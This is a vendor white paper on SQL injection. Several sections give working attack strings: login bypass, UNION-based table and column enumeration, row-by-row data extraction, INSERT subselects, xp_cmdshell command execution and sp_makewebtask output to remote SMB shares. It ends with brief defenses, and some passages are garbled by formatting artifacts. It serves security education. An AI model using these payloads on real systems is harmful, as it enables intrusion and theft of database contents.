SQL Injection

Are your web applications vulnerable?

By Kevin Spett
# SQL Injection

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Web Applications and SQL Injection

SQL injection is a technique for exploiting web applications that use client-supplied data in SQL queries, but without first stripping potentially harmful characters. Despite being remarkably simple to protect against, there is an astonishing number of production systems connected to the Internet that are vulnerable to this type of attack. The objective of this paper is to focus the professional security community on the techniques that can be used to take advantage of a web application that is vulnerable to SQL injection, and to make clear the correct mechanisms that should be put in place to protect against SQL injection and input validation problems in general.

Readers should have a basic understanding of how databases work and how SQL is used to access them. I recommend reading eXtropia.com’s *Introduction to Databases for Web Developers* at http://www.extropia.com/tutorials/sql/toc.html.

Character Encoding

Most web browsers will not properly interpret requests containing punctuation characters and many other symbols unless they are URL-encoded. In this paper, I have used regular ASCII characters in the examples and screenshots to maintain maximum readability. In practice, though, you will need to substitute %25 for percent sign, %2B for plus sign, etc., in the HTTP request statement.

Testing for Vulnerability

Thoroughly checking a web application for SQL injection vulnerability takes more effort than one might guess. It’s nice when you throw a single quote into the first argument of a script and the server returns a nice blank, white screen with nothing but an ODBC error on it, but such is not always the case.
It is very easy to overlook a perfectly vulnerable script if you don’t pay attention to details.

You should always check every parameter of every script on the server. Developers and development teams can be awfully inconsistent. The programmer who designed Script A might have had nothing to do with the development of Script B, so where one might be immune to SQL injection, the other might be ripe for abuse. In fact, the programmer who worked on Function A in Script A might have nothing to do with Function B in Script A, so while one parameter in one script might be vulnerable, another might not. Even if an entire web application is conceived, designed, coded and tested by one programmer, one vulnerable parameter might be overlooked. You never can be sure. Test everything.

**Testing procedure**

Replace the argument of each parameter with a single quote and an SQL keyword (such as "' WHERE"). Each parameter needs to be tested individually. Not only that, but when testing each parameter, leave all of the other parameters unchanged, with valid data as their arguments. It can be tempting to simply delete everything you’re not working with to make things look simpler, particularly with applications that have parameter lines that go into many thousands of characters. Leaving out parameters or giving other parameters bad arguments while you’re testing another for SQL injection can break the application in other ways that prevent you from determining whether or not SQL injection is possible. For instance, assume that this is a completely valid, unaltered parameter line

```
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
```

while this parameter line gives you an ODBC error
SQL Injection

ContactName=Maria%20Anders&CompanyName='\%20OR

and checking with this line might simply return an error indicating that you need to specify a ContactName value.

CompanyName=‘

This line...

ContactName=BadContactName&CompanyName=‘

...might give you the same page as the request that didn’t specify ContactName at all. Or, it might give you the site’s default homepage. Or, perhaps when the application couldn’t find the specified ContactName, it didn’t bother to look at CompanyName, so it didn’t even pass the argument of that parameter into an SQL statement. Or, it might give you something completely different. So, when testing for SQL injection, always use the full parameter line, giving every argument except the one that you are testing a legitimate value.

Evaluating Results

If the server returns a database error message of some kind, injection was definitely successful. However, the messages aren’t always obvious. Again, developers do some strange things, so you should look in every possible place for evidence of successful injection. First, search through the entire source of the returned page for phrases such as “ODBC,” “SQL Server,” “Syntax,” etc. More details on the nature of the error can be in hidden input, comments, etc. Check the headers. I have seen web applications on production systems that return an error message with absolutely no information in the body of the HTTP response, but that have the database error message in a header. Many web applications have these kinds of
features built into them for debugging and QA purposes, and then developers forget to remove or disable them before release.

You should look not only on the immediately returned page, but also in linked pages. During a recent penetration test, I saw a web application that returned a generic error message page in response to an SQL injection attack. Clicking on a stop sign image next to the error retrieved another page giving the full SQL Server error message.

Another thing to watch out for is a 302 page redirect. You may be whisked away from the database error message page before you even get a chance to notice it.

Note that SQL injection may be successful even if the server returns an ODBC error messages. Many times the server returns a properly formatted, seemingly generic error message page telling you that there was “an internal server error” or a “problem processing your request.”

Some web applications are designed to return the client to the site’s main page whenever any type of error occurs. If you receive a 500 Error page back, chances are that injection is occurring. Many sites have a default 500 Internal Server Error page that claims that the server is down for maintenance, or that politely asks the user to send an e-mail to their support staff. It can be possible to take advantage of these sites using stored procedure techniques, which are discussed later.
Attacks
This section describes the following SQL injection techniques:

- Authorization bypass
- Using the SELECT command
- Using the INSERT command
- Using SQL server stored procedures

Authorization Bypass
The simplest SQL injection technique is bypassing logon forms. Consider the following web application code:

```vbnet
SQLQuery = "SELECT Username FROM Users WHERE Username = " & strUsername & " AND Password = " & strPassword & ""
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
    boolAuthenticated = False
Else
    boolAuthenticated = True
End If
```

Here's what happens when a user submits a username and password. The query will go through the Users table to see if there is a row where the username and password in the row match those supplied by the user. If such a row is found, the username is stored in the variable `strAuthCheck`, which indicates that the user should be authenticated. If there is no row that the user-supplied data matches, `strAuthCheck` will be empty and the user will not be authenticated.
SQL Injection

If `strUsername` and `strPassword` can contain any characters that you want, you can modify the actual SQL query structure so that a valid name will be returned by the query even if you do not know a valid username or a password. How? Let’s say a user fills out the logon form like this:

```
Login: ' OR ''='' 
Password: ' OR ''='' 
```

This will give SQLQuery the following value:

```
SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''='' 
```

Instead of comparing the user-supplied data with that present in the Users table, the query compares a quotation mark (nothing) to another quotation mark (nothing). This, of course, will always return true. (Please note that nothing is different from null.) Since all of the qualifying conditions in the `WHERE` clause are now met, the application will select the username from the first row in the table that is searched. It will pass this username to `strAuthCheck`, which will ensure our validation. It is also possible to use another row’s data, using single result cycling techniques, which will be discussed later.

**Using the SELECT Command**

For other situations, you must reverse-engineer several parts of the vulnerable web application’s SQL query from the returned error messages. To do this, you must know how to interpret the error messages and how to modify your injection string to defeat them.
SQL Injection

**Direct vs. Quoted**

The first error that you normally encounter is the syntax error. A syntax error indicates that the query does not conform to the proper structure of an SQL query. The first thing that you need to determine is whether injection is possible without escaping quotation.

In a direct injection, whatever argument you submit will be used in the SQL query without any modification. Try taking the parameter’s legitimate value and appending a space and the word “OR” to it. If that generates an error, direct injection is possible. Direct values can be either numeric values used in `WHERE` statements, such as this...

```sql
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE Employee = " & intEmployeeID
```

...or the argument of an SQL keyword, such as table or column name:

```sql
SQLString = "SELECT FirstName, LastName, Title FROM Employees
ORDER BY " & strColumn
```

All other instances are quoted injection vulnerabilities. In a quoted injection, whatever argument you submit has a quote prefixed and appended to it by the application, like this:

```sql
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE EmployeeID = "' & strCity & "'"
```

To “break out” of the quotes and manipulate the query while maintaining valid syntax, your injection string must contain a single quote before you use an SQL keyword, and end in a `WHERE` statement that needs a quote appended to it. And now to address the problem of “cheating.” Yes, SQL Server will ignore everything after a “;--” but it’s the only server that does that. It’s
better to learn how to do this the “hard way” so that you’ll know how to handle an Oracle, DB/2, MySQL, or any other kind of database server.

**Basic UNION**

SELECT queries are used to retrieve information from a database. Most web applications that use dynamic content of any kind will build pages using information returned from SELECT queries. Most of the time, the part of the query that you will be able to manipulate will be the WHERE clause.

To make the server return records other than those intended, modify a WHERE clause by injecting a UNION SELECT. This allows multiple SELECT queries to be specified in one statement. Here’s one example:

```
SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1
```

This will return the recordsets from the first query and the second query together. The ALL is necessary to escape certain kinds of SELECT DISTINCT statements. Just make sure that the first query (the one the web application’s developer intended to be executed) returns no records. Suppose you are working on a script with the following code:

```
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = " & strCity & ""
```

And you use this injection string:

```
' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='
```

The following query will be sent to the database server:
SQL Injection

```
SELECT FirstName, LastName, Title FROM Employees WHERE City = ''
UNION ALL SELECT OtherField FROM OtherTable WHERE ''=''```

The database engine will inspect the Employees table, looking for a row where `City` is set to “nothing.” Since it will not find it, no records will be returned. The only records that will be returned will be from the injected query. In some cases, using “nothing” will not work because there are entries in the table where “nothing” is used, or because specifying “nothing” makes the web application do something else. You simply need to specify a value that does not occur in the table. When a number is expected, zero and negative numbers often work well. For a text argument, simply use a string such as “NoSuchRecord” or “NotInTable.”
Figure 1: Syntax breaking on direct injection.
The server returned the page illustrated in Figure 1 in response to the following:

http://localhost/simpleunquoted.asp?city=-1 UNION SELECT Otherfield FROM OtherTable WHERE 1=1

A similar response was obtained with the following quoted injection:

http://localhost/simplequoted.asp?city='UNION SELECT Otherfield FROM OtherTable WHERE "="

Query Enumeration with Syntax Errors
Some database servers return the portion of the query containing the syntax error in their error messages. In these cases you can “bully” fragments of the SQL query from the server by deliberately creating syntax errors. Depending on the way the query is designed, some strings will return useful information and others will not.

Here’s my list of suggested attack strings. Several will often return the same or no information, but there are instances where only one of them will give you helpful information. Try them all

';
BadValue'
'BadValue
' OR '
' OR
;
9,9,9

Parentheses
If the syntax error contains a parenthesis in the cited string (such as the SQL Server message used in the following example) or the message complains
about missing parentheses, add a parenthesis to the bad value part of your injection string, and one to the WHERE clause. In some cases, you may need to use two or more parentheses.

Here’s the code used in parenthesis.asp:

```sql
mySQL="SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '' & strCity & '')"
```

So, when you inject this value...

```
") UNION SELECT OtherField FROM OtherTable WHERE ("=''",
```

...the following query will be sent to the server:

```sql
SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = '') UNION SELECT OtherField From OtherTable WHERE ("=''"
```
Figure 2: Parenthesis breaking on a quoted injection.
The server returned the page illustrated in Figure 2 in response to the following:

http://localhost/parenthesis.asp?city='

The same response was obtained with the following quoted injection:

http://localhost/parenthesis.asp?city=') UNION SELECT Otherfield FROM OtherTable WHERE ( "="

**LIKE Queries**

Another common debacle is being trapped in a **LIKE** clause. Seeing the **LIKE** keyword or percent signs cited in an error message are indications of this situation. Most search functions use SQL queries with **LIKE** clauses, such as the following:
SQL Injection

```
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE LastName LIKE '%" & strLastNameSearch & "%'"
```

The percent signs are wildcards, so in this example the `WHERE` clause would return true in any case where `strLastNameSearch` appears anywhere in `LastName`. To stop the intended query from returning records, your bad value must be something that none of the values in the `LastName` field contain. The string that the web application appends to the user input (usually a percent sign and single quote, and often parenthesis as well) needs to be mirrored in the `WHERE` clause of the injection string. Also, using “nothing” as your bad values will make the `LIKE` argument “%%” resulting in a full wildcard, which returns all records. The second screenshot shows a working injection query for the above code.

**Dead Ends**

There are situations that you may not be able to defeat without an enormous amount of effort, if at all. Occasionally you’ll find yourself in a query that you just can’t seem to break. No matter what you do, you get error after error after error. Many times, this is because you’re trapped inside a function that’s inside a `WHERE` clause, and the `WHERE` clause is in a subselect which is an argument of another function whose output is having string manipulations performed on it and then used in a `LIKE` clause which is in a subselect somewhere else. Not even SQL Server’s “; --” can rescue you in those cases.
SQL Injection

Figure 3: LIKE breaking on a quoted injection.
The server returned the page illustrated in Figure 3 in response to the following:

http://localhost/like.asp?LastNameSearch='OR'

The same response was obtained with the following quoted injection:

http://localhost/ parenthesis.asp?city=') UNION ALL SELECT OtherField FROM OtherTable WHERE '%$37='

Column Number Mismatch
If you can get around the syntax error, the hardest part is over. The next error message will probably complain about a bad table name. Choose a valid system table name (see Database Server System Tables on page 29).
You will then most likely be confronted with an error message that complains about the difference in the number of fields in the SELECT and UNION SELECT queries. You need to find out how many columns are requested in the legitimate query. Let’s say that this is the code in the web application that you’re attacking:

```
SQLString = SELECT FirstName, LastName, EmployeeID FROM Employees WHERE City = '" & strCity "'
```

The legitimate SELECT and the injected UNION SELECT need to have an equal number of columns in their WHERE clauses. In this case, they both need three. Their column types also need to match. If FirstName is a string, then the corresponding field in your injection string needs to be a string as well. Some servers, such as Oracle, are very strict about this. Others are more lenient and allow you to use any data type that can do implicit conversion to the correct data type. For example, in SQL Server, putting numeric data in a varchar’s place is allowed, because numbers can be converted to strings implicitly. Putting text in a smallint column, however, is illegal because text cannot be converted to an integer. Because numeric types often convert to strings easily (but not vice versa), use numeric values by default.

To determine the number of columns you need to match, keep adding values to the UNION SELECT clause until you stop getting a column number mismatch error. If you encounter a data type mismatch error, change the data type (of the column you entered) from a number to a literal. Sometimes you will get a conversion error as soon as you submit an incorrect data type. At other times, you will get only the conversion message once you’ve matched the correct number of columns, leaving you to figure out which columns are the ones that are causing the error. When the latter is the case, matching the value types can take a very long time, since the number of possible
combinations is $2^n$ where $n$ is the number of columns in the query. By the way, 40-column \texttt{SELECT} commands are not terribly uncommon.

If all goes well, the server should return a page with the same formatting and structure as a legitimate one. Wherever dynamic content is used, you should have the results of your injection query.

To illustrate, when I submitted the following command...

```
http://localhost/column.asp?city='UNION ALL SELECT 9 FROM SysObjects WHERE '='
```

... I received the error message shown in Figure 4:

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
So I incremented the number of columns and resubmitted the command, continuing this until I received a different error message.

http://localhost/column.asp?city='UNION ALL SELECT 9,9 FROM SysObjects WHERE '='

http://localhost/column.asp?city='UNION ALL SELECT 9,9,9 FROM SysObjects WHERE '='

http://localhost/column.asp?city='UNION ALL SELECT 9,9,9,9 FROM SysObjects WHERE '='

On the last command, the server returned the following error message:

Operand type dash; ntext is incompatible with int.
So I submitted the following command and the server returned the page illustrated in Figure 5:

```
http://localhost/column.asp?city='UNION ALL SELECT 9,9,9,'text'
FROM SysObjects WHERE '='
```

Figure 5: Column number matching.

**Additional WHERE Columns**

Sometimes your problem may be additional WHERE conditions that are added to the query after your injection string. Consider this line of code:

```
SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE City = '' & strCity & '' AND Country = 'USA'"
```

Trying to deal with this query like a simple direct injection would yield a query such as:

```
SELECT FirstName, LastName, Title FROM Employees WHERE City = 'NoSuchCity' UNION ALL SELECT OtherField FROM OtherTable WHERE 1=1 AND Country = 'USA'
```
SQL Injection

Which yields an error message such as:

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name `Country'.
```

The problem here is that your injected query does not have a table in the `FROM` clause that contains a column named `Country` in it. There are two ways to solve this problem: use the `";--"` terminator (if you’re using SQL Server), or guess the name of the table that the offending column is in and add it to your `FROM` clause. Use the attack queries listed in *Query Enumeration with Syntax Errors* to try to get as much of the legitimate query back as possible.

**Table and Field Name Enumeration**

Now that you have injection working, you have to decide what tables and fields you want to access. With SQL Server, you can easily get all of the table and column names in the database. With Oracle and Access, you may or may not be able to do this, depending on the privileges of the account that the web application is using to access the database.

The key is to be able to access the system tables that contain the table and column names. In SQL Server, they are called `sysobjects` and `syscolumns`, respectively. There is a list of system tables for other database servers at the end of this document; you will also need to know relevant column names in those tables. These tables contain a listing of all tables and columns in the database. To get a list of user tables in SQL Server, use the following injection query, modified to fit your own circumstances:

```
SELECT name FROM sysobjects WHERE xtype = 'U'
```

This will return the names of all user-defined tables (that’s what `xtype = 'U'` does) in the database. Once you find one that looks interesting (we’ll use
Orders), you can get the names of the fields in that table with an injection query similar to this:

```sql
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Orders')
```

![Table and field name enumeration.](image)

The first illustration in Figure 6 shows the results returned by the following injection query:

```sql
http://localhost/simplequoted.asp?city = 'UNION ALL SELECT name, 0, 0, 'A', 0 FROM sysobjects WHERE xtype='U
```

The second illustration in Figure 6 shows the results returned by the following injection query:
SQL Injection

http://localhost/simplequoted.asp?city = ‘UNION ALL SELECT name, 0, 0, ‘A’, 0 FROM sysobjects WHERE id = (SELECT id FROM sysobjects WHERE name = ‘ORDERS’) AND ‘=’

Single Record Cycling

If possible, use an application that is designed to return as many results as possible. Search tools are ideal because they are made to return results from many different rows at once. Some applications are designed to use only one recordset in their output at a time, and ignore the rest. If you’re faced with a single product display application, you can still prevail.

You can manipulate your injection query to allow you to slowly, but surely, get your desired information back in full. This is accomplished by adding qualifiers to the WHERE clause that prevent certain rows’ information from being selected. Let’s say you started with this injection string:

’ UNION ALL SELECT name, FieldTwo, FieldThree FROM TableOne WHERE ‘=’

And you got the first values in FieldOne, FieldTwo and FieldThree injected into your document. Let’s say the values of FieldOne, FieldTwo and FieldThree were “Alpha,” “Beta” and “Delta,” respectively. Your second injection string would be:

’ UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne WHERE FieldOne NOT IN (‘Alpha’) AND FieldTwo NOT IN (‘Beta’) AND FieldThree NOT IN (‘Delta’) AND ‘=’

The NOT IN VALUES clause makes sure that the information you already know will not be returned again, so the next row in the table will be used instead. Let’s say these values were “AlphaAlpha,” “BetaBeta” and “DeltaDelta.”
' UNION ALL SELECT FieldOne, FieldTwo, FieldThree FROM TableOne
WHERE FieldOne NOT IN ('Alpha', 'AlphaAlpha') AND FieldTwo NOT
IN ('Beta', 'BetaBeta') AND FieldThree NOT IN ('Delta',
'DeltaDelta') AND ''='' 

This will prevent both the first and second sets of known values from being
returned. You simply keep adding arguments to VALUES until there are none
left to return. This makes for some rather large and cumbersome queries
while going through a table with many rows, but it’s the best method there
is.
Figure 7: Single record cycling.
The first illustration in Figure 7 shows the results returned by the following injection query:

```
http://localhost/simplequoted.asp?employeeid=-1 UNION ALL SELECT ContactName, 0, 0, 'A', 0 FROM Customers WHERE 1=1
```

The second illustration in Figure 7 shows the results returned by the following injection query:

```
http://localhost/simplequoted.asp?employeeid=-1 UNION ALL SELECT ContactName, 0, 0, 'A', 0 FROM Customers WHERE ContactName NOT IN ('Maria Anders') AND 1=1
```
Using the INSERT Command

The INSERT command is used to add information to the database. Common uses of INSERT in web applications include user registrations, bulletin boards, adding items to shopping carts, etc. Checking for vulnerabilities with INSERT statements is the same as doing it with WHERE. You may not want to try to use INSERT if avoiding detection is an important issue. INSERT injection often floods rows in the database with single quotes and SQL keywords from the reverse-engineering process. Depending on how watchful the administrator is and what is being done with the information in that database, it may be noticed.

Here’s how INSERT injection differs from SELECT injection. Suppose a site allows user registration of some kind, providing a form where you enter your name, address, phone number, etc. After submitting the form, you navigate to a page where it displays this information and gives you an option to edit it. This is what you want. To take advantage of an INSERT vulnerability, you must be able to view the information that you’ve submitted. It doesn’t matter where it is. Maybe when you log on, it greets you with the value it has stored for your name in the database. Maybe the application sends you e-mail with the Name value in it. However you do it, find a way to view at least some of the information you’ve entered.

An INSERT query looks like this:

```
INSERT INTO TableName VALUES ('Value One', 'Value Two', 'Value Three')
```

You want to be able to manipulate the arguments in the VALUES clause to make them retrieve other data. You can do this using subselects.
Consider this example code:

\[
\text{SQLString} = "\text{INSERT INTO Table\textit{Name} VALUES ('} \& \text{strValueOne} \& \\
\text{', '}) \& \text{strValueTwo} \& \\
\text{', '}) \& \text{strValueThree} \& \\
\text{')}"
\]

You fill out the form like this:

Name: ' + (SELECT TOP 1 Field\textit{Name} FROM Table\textit{Name}) + '  
Email: blah@blah.com  
Phone: 333-333-3333

Making the SQL statement look like this:

\[
\text{INSERT INTO Table\textit{Name} VALUES ('} + (SELECT TOP 1 Field\textit{Name} FROM Table\textit{Name}) + '  
\text{, '} + \text{selectTopOneField} + ', ' + \text{emailValue} + ', ' + \text{phoneNumber} + ')
\]

When you go to the preferences page and view your user’s information, you’ll see the first value in Field\textit{Name} where the user’s name would normally be. Unless you use \text{T}OP 1 in your subselect, you’ll get back an error message saying that the subselect returned too many records. You can go through all of the rows in the table using \text{NOT IN (} \) the same way it is used in single-record cycling.

**Using SQL Server Stored Procedures**

An out-of-the-box installation of Microsoft SQL Server has more than 1,000 stored procedures. If you can get SQL injection working on a web application that uses SQL Server as it’s backend, you can use these stored procedures to perform some remarkable feats. Depending on the permissions of the web application’s database user, some, all or none of these procedures may work. There is a good chance that you will not see the stored procedure’s output in the same way you retrieve values with regular injection. Depending on what
you’re trying to accomplish, you may not need to retrieve data at all. You can find other means of getting your data returned to you.

Procedure injection is much easier than regular query injection. Procedure injection into a quoted vulnerability should look like this:

```sql
simplequoted.asp?city=seattle';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:
```

A valid argument is supplied at the beginning, followed by a quote; the final argument to the stored procedure has no closing quote. This will satisfy the syntax requirements inherent in most quoted vulnerabilities. You may also need to deal with parentheses, additional `WHERE` statements, etc., but there’s no column-matching or data types to worry about. This makes it possible to exploit a vulnerability in the same way that you would with applications that do not return error messages.

**xp_cmdshell**

`master.dbo.xp_cmdshell` is the “holy grail” of stored procedures. It takes a single argument, which is the command you want to be executed at SQL Server’s user level.

```sql
xp_cmdshell {'command_string'} [, no_output]
```

The problem? It’s not likely to be available unless the SQL Server user that the web application is using is the “sa.”

**sp_makewebtask**

Another favorite of mine is `master.dbo.sp_makewebtask`.

```sql
sp_makewebtask [@outputfile =] ‘outputfile’, [@query =] ‘query’
```
SQL Injection

As you can see, its arguments are an output file location and an SQL statement. `sp_makewebtask` takes a query and builds a webpage containing its output. Note that you can use a UNC pathname as an output location. This means that the output file can be placed on any system connected to the Internet that has a publicly writable SMB share on it. (The SMB request must generate no challenge for authentication at all).

<table>
<thead>
<tr>
<th>LastName</th>
<th>FirstName</th>
<th>Title</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Steven</td>
<td>Buchanan</td>
<td>Sales Manager</td>
<td>Steven Buchanan graduated from St. Andrews University, Scotland, with a BSc degree in 1976. Upon joining the company as a sales representative in 1992, he spent 6 months in an orientation program at the Seattle office and then returned to his permanent post in London. He was promoted to sales manager in March 1993. Mr. Buchanan has completed the courses &quot;Successful Telemarketing&quot; and &quot;International Sales Management.&quot; He is fluent in French.</td>
</tr>
<tr>
<td>Michael</td>
<td>Sogana</td>
<td>Sales Representative</td>
<td>Michael is a graduate of Sussex University (MA, economics, 1982) and the University of California at Los Angeles (MBA, marketing, 1986). He has also taken the courses &quot;Multi-Cultural Selling&quot; and &quot;Time Management for the Sales Professional.&quot; He is fluent in Japanese and can read and write French, Portuguese, and Spanish.</td>
</tr>
<tr>
<td>Robert</td>
<td>King</td>
<td>Sales Representative</td>
<td>Robert King served in the Peace Corps and traveled extensively before completing his degree in English at the University of Michigan in 1992, the year he joined the company. After completing a course entitled &quot;Selling in Europe,&quot; he was transferred to the London office in March 1993.</td>
</tr>
<tr>
<td>Ana</td>
<td>Dodsworth</td>
<td>Sales Representative</td>
<td>Anne has a BA degree in English from St. Lawrence College. She is fluent in French and German.</td>
</tr>
</tbody>
</table>
Figure 8: Using sp_makewebtask.

If there is a firewall restricting the server’s access to the Internet, try making the output file on the website itself. (You’ll need to either know or guess the webroot directory). Also be aware that the query argument can be any valid T-SQL statement, including execution of other stored procedures. Making “EXEC xp_cmdshell ‘dir c:’” the @query argument will give you the output of “dir c:” in the webpage. When nesting quotes, remember to alternate single and double quotes.

Solutions
I recommend two specific safeguards against SQL injection attacks: sanitize the data and secure the application
**Data Sanitization**
All client-supplied data needs to be cleansed of any characters or strings that could possibly be used maliciously. This should be done for all applications, not just those that use SQL queries. Stripping quotes or putting backslashes in front of them is nowhere near enough. The best way to filter your data is with a default-deny regular expression. Make it so that you include only the type of characters that you want. For instance, the following regular expression will return only letters and numbers:

```
s/[^0-9a-zA-Z]|\//\\``

Make your filter narrow and specific. Whenever possible, use only numbers. After that, numbers and letters only. If you need to include symbols or punctuation of any kind, make absolutely sure to convert them to HTML substitutes, such as `&quote;` or `&gt;`. For instance, if the user is submitting an e-mail address, allow only the “at” sign, underscore, period, and hyphen in addition to numbers and letters, and allow them only after those characters have been converted to their HTML substitutes.

**Secure SQL Coding for your Web Application**
There are also a few rules specific to SQL injection. First, prefix and append a quote to all user input, even if the data is numeric. Next, limit the rights of the database user. Don’t give that user access to all of the system-stored procedures if that user needs access to only a handful of user-defined ones.

**Database Server System Tables**
The following table lists the system tables that are useful in SQL injection. You can obtain listings of the columns in each of these tables using any Internet search engine.
The Business Case for Application Security

Whether a security breach is made public or confined internally, the fact that a hacker has accessed your sensitive data should be a huge concern to your company, your shareholders and, most importantly, your customers. SPI Dynamics has found that the majority of companies that are vigilant and proactive in their approach to application security are better protected. In the long run, these companies enjoy a higher return on investment for their e-business ventures.

About SPI Labs

SPI Labs is the dedicated application security research and testing team of SPI Dynamics. Composed of some of the industry’s top security experts, SPI Labs is focused specifically on researching security vulnerabilities at the web application layer. The SPI Labs mission is to provide objective research to the security community and all organizations concerned with their security practices.

SPI Dynamics uses direct research from SPI Labs to provide daily updates to WebInspect, the leading Web application security assessment software. SPI Labs engineers comply with the standards proposed by the Internet Engineering Task Force (IETF) for responsible security vulnerability
SQL Injection
disclosure. SPI Labs policies and procedures for disclosure are outlined on the SPI Dynamics web site at: http://www.spidynamics.com/spilabs.html.

About SPI Dynamics
SPI Dynamics, the expert in web application security assessment, provides software and services to help enterprises protect against the loss of confidential data through the web application layer. The company’s flagship product line, WebInspect, assesses the security of an organization’s applications and web services, the most vulnerable yet least secure IT infrastructure component. Since its inception, SPI Dynamics has focused exclusively on web application security. SPI Labs, the internal research group of SPI Dynamics, is recognized as the industry’s foremost authority in this area.

Software developers, quality assurance professionals, corporate security auditors and security practitioners use WebInspect products throughout the application lifecycle to identify security vulnerabilities that would otherwise go undetected by traditional measures. The security assurance provided by WebInspect helps Fortune 500 companies and organizations in regulated industries — including financial services, health care and government — protect their sensitive data and comply with legal mandates and regulations regarding privacy and information security.

SPI Dynamics is privately held with headquarters in Atlanta, Georgia.

About the WebInspect Product Line
The WebInspect product line ensures the security of your entire network with intuitive, intelligent, and accurate processes that dynamically scan standard and proprietary web applications to identify known and unidentified application vulnerabilities. WebInspect products provide a new level of
SQL Injection

protection for your critical business information. With WebInspect products, you find and correct vulnerabilities at their source, before attackers can exploit them.

Whether you are an application developer, security auditor, QA professional or security consultant, WebInspect provides the tools you need to ensure the security of your web applications through a powerful combination of unique Adaptive-Agent™ technology and SPI Dynamics’ industry-leading and continuously updated vulnerability database, SecureBase™. Through Adaptive-Agent technology, you can quickly and accurately assess the security of your web content, regardless of your environment. WebInspect enables users to perform security assessments for any web application, including these industry-leading application platforms:

- Macromedia ColdFusion
- Lotus Domino
- Oracle Application Server
- Macromedia JRun
- BEA Weblogic
- Jakarta Tomcat
About the Author
Kevin Spett is a senior research and development engineer at SPI Dynamics, where his responsibilities include analyzing web applications and discovering new ways of uncovering threats, vulnerabilities and security risks. In addition, he is a member of the SPI Labs team, the application security research and development group within SPI Dynamics.

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